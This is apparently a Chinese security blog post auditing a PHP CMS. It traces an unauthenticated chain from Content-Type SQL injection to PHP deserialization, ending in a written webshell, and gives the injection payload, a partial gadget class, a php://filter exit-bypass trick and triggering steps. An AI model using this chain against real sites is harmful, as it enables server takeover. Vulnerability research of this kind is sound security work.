P***OK全版本前台无条件RCE 密级: 【C-1】 | 时间:2024-02-09 | 目录:博客文章 | 编辑本文 文章距今已发表三个月,请自行判断文中技术方法、代码的有效性:) ## 利用条件 网站未关闭游客附件上传(默认开启) ## 代码审计 首先我们进行正常的普通附件上传,发现无论什么图片都无法上传: ![](https://img.meituan.net/imgupload/ed47ab21f89e54a6666a7ac74673f12116944.png) 查看upload控制器代码,代码位于目录/framework/www/中,查看save这个function: ![](https://img.meituan.net/imgupload/b6a068c8ea52e51fd60017d041c05f4a55106.png) 跟进upload_base方法: ![](https://img.meituan.net/imgupload/abd27e03d4e1ee7d56b3963520c5223799145.png) 继续跟进getfile方法: ![](https://img.meituan.net/imgupload/1cacf4b1d6d58516f1873bf81e99115d53329.png) 在此处vardump有输出,所以进入了upload的方法。继续跟进: ![](https://img.meituan.net/imgupload/861e843080ff3bd5ed128296bbe389d072922.png) ![](https://img.meituan.net/imgupload/0377dcfa4d27e7b9e2d1713ee62b8a7266307.png) 我们发现最终是在这里进行了return,原因就是进入了if($bin),如何bypass这个判断呢? 必须要获取$bin变量才可以进入判断,通过var_dump发现就是图片内容。将图片文件内容置空,上传成功 ![](https://img.meituan.net/imgupload/9b5aa738632421d6d8a3b4fbadb6883334129.png) 我们回到base_upload方法: ![](https://img.meituan.net/imgupload/3d69fa6ebe4111f4bbe866f5c819c674109391.png) 我们发现这里有个model->save的方法,跟进save方法: ![](https://img.meituan.net/imgupload/61708fd615224c5c3afd7a045892bbda63884.png) 发现无论是否登录,都有一个插入数据库的方法,并且没有过滤。也就是说他直接将数组$array全部插入了数据库,那我们可以var_dump一下看看有哪些数组字段可控: ![](https://img.meituan.net/imgupload/51bf7b6d42e6e89d7794afae3b8c142486276.png) 我们打印数组后可发现,mime_type字段直接来自于content-type。并且是可控的,我们可以打印一段SQL语句,然后进行拼接操作(不做演示),最终获取payload: ``` ',sleep(5))# ``` ![](https://img.meituan.net/imgupload/20ca7928c0298c9f921c0a6652396b5d125044.png) 我们发现成功sleep了。至此,我们审计到了一个SQL注入漏洞。但是如何通过SQL注入到达RCE呢。 ![](https://img.meituan.net/imgupload/8c7508ef45190b28e99a1157d5d9336146109.png) 继续查看代码发现对attr字段进行了序列化操作,所以有序列化肯定有反序列化。所以抛出第一个问题,如何覆盖序列化的内容? **1、覆盖** 我们在这里打印数组: ![](https://img.meituan.net/imgupload/4869656c145bb74d74c6fe4a6efaf845105777.png) 我们继续观察SQL语句: 插入: ``` INSERT INTO qinggan_res (`cate_id`,`folder`,`name`,`ext`,`filename`,`addtime`,`title`,`session_id`,`user_id`,`mime_type`,`attr`) VALUES('','res/','db0846bb72407e1c.png','png','res/db0846bb72407e1c.png','1608034638','3','0o8592k55lo99m8r9hg27roid8','','image/png',sleep(5))#','a:2:{s:5:"width";i:622;s:6:"height";i:503;}') ``` 响应: ``` {"status":"ok","content":{"id":"117","cate_id":"1","folder":"res\\\\/","name":"db0846bb72407e1c.png","ext":"png","filename":"res\\\\/db0846bb72407e1c.png","ico":"res\\\\/_cache\\\\/_ico\\\\/11\\\\/117.png","addtime":"1608034638","title":"3","attr":"0","note":"","session_id":"0o8592k55lo99m8r9hg27roid8","user_id":"0","download":"0","admin_id":"0","mime_type":"image\\\\/png","etype":"0","uploadtime":"2020-12-15 20:17:18"}} ``` 发现我们可控的字段和attr字段相邻,所以进而我们可以直接覆盖attr变量。 什么意思呢?就比如我们可以构造语句为: ![](https://img.meituan.net/imgupload/cdbf4a7a38716a3725966c2d956cbce015038.png) 单引号闭合前面字段的插入,分割后 ) 闭合最前面的括号,然后#注释多余语句。 执行后我们访问数据库: ![](https://img.meituan.net/imgupload/85eb213b4347762bee59fc242eb542fc168824.png) **2、追加** 再写一条insert 的sql语句,使用英文逗号分割追加即可,具体可见ichunqiu本人对此案例的讲解。这里不赘述。 发现res模型中getone方法就有反序列化操作: ![](https://img.meituan.net/imgupload/30e6fc75991ad1d89df25cf2e304aa7b70379.png) 然后就是写一个可以造成getshell的gadget就行了。但是怎么找呢? 我们成功找到了一个cache类,路径如图所示: ![](https://img.meituan.net/imgupload/c7b90fee7ec5dda1bd2f4d882bb067b794946.png) 它在反序列化的时候会触发destruct魔法函数: ![](https://img.meituan.net/imgupload/a249b3fb8d9e1b1f9e64f982a105eb4513314.png) 跟进save,发现这里有一个file_put_contents的操作: ![](https://img.meituan.net/imgupload/215f4e2e274b4dbecdb7c9dec320cbaf42805.png) 但是这里注意的是为了防止木马生成,加入了exit函数,这个我们在做一道CTF题的时候经常会使用的bypass方法,就是使用: ``` php file_put_contents(php://filter/write=convert.base64-decode/resource=$id.php,''.base64编码的shellcode) ``` 这样外放文件的时候会对整个内容base64解码,导致前面的内容发生错误,而base64编码的shellcode会正常还原。 我们发现他还对我们传入的content进行了序列化的操作,但是序列化不会改变字符串的内容,也就是我们传入的base64编码后的shell内容。 所以最终构造的gadget如下: ``` php key_id = 'depy'; $this->key_list = 'aa'.base64_encode(''); $this->folder = 'php://filter/write=convert.base64-decode/resource='; } } echo bin2hex(serialize(new cache())); ``` 这样,触发反序列化之后,将会在根目录生成depy.php的webshell,密码是shell。那么gadget写完之后,就是找怎么前台可以调用到get_one方法的地方了。 ![](https://img.meituan.net/imgupload/a978ea9dc195725a705cd53fb15bca7e78200.png) 我们找到控制器下的replace方法,它根据get oldid参数,然后进入数据库找到我们上传的图片。然后调用get_one方法,触发反序列化。 例如上传图片时,对content type写入我们的gadget。 ![](https://img.meituan.net/imgupload/f867a1a80a44e8ac3156a8fc7d2472c2107432.png) 但实际上他并不会响应,插入数据库的时候其实已经触发了反序列化了,会导致服务空白响应。(具体哪里我没有去跟,下面其实也不用去触发) 但是如果是常规流程呢?如何知道id?两个办法: 1、爆破 附件id是自增增加的,不超过四位数,爆破一遍强制触发 2、预上传 先上传一个无效的文件,记住id,那么反序列化时id就是+1 ## Exploit ![](https://img.meituan.net/imgupload/305765a85aa3dad77b207f45071f3a419468.png) 通过id,进入replace方法,oldid为上面的id。 ![](https://img.meituan.net/imgupload/1f9f13b15cc8c93993eaf04b0b5b6e3636722.png) 通过oldid,会最终触发反序列化生成webshell到根目录。 ![](https://img.meituan.net/imgupload/bb02b3d8b501cce3700837bc6ddcb67f80276.png) ![](https://img.meituan.net/imgupload/8c8f013286bbc705370d1dda68a3adb5136947.png) 评论列表 写评论 您的IP:18.224.59.50,临时用户名:5d2b771f评论已接入DepyWAF审计与流量系统,请勿频繁操作导致IP拉黑 提交评论 © 版权声明:非标注『转载』情况下本文为原创文章,版权归 Depy's docs 所有,转载请联系博主获得授权。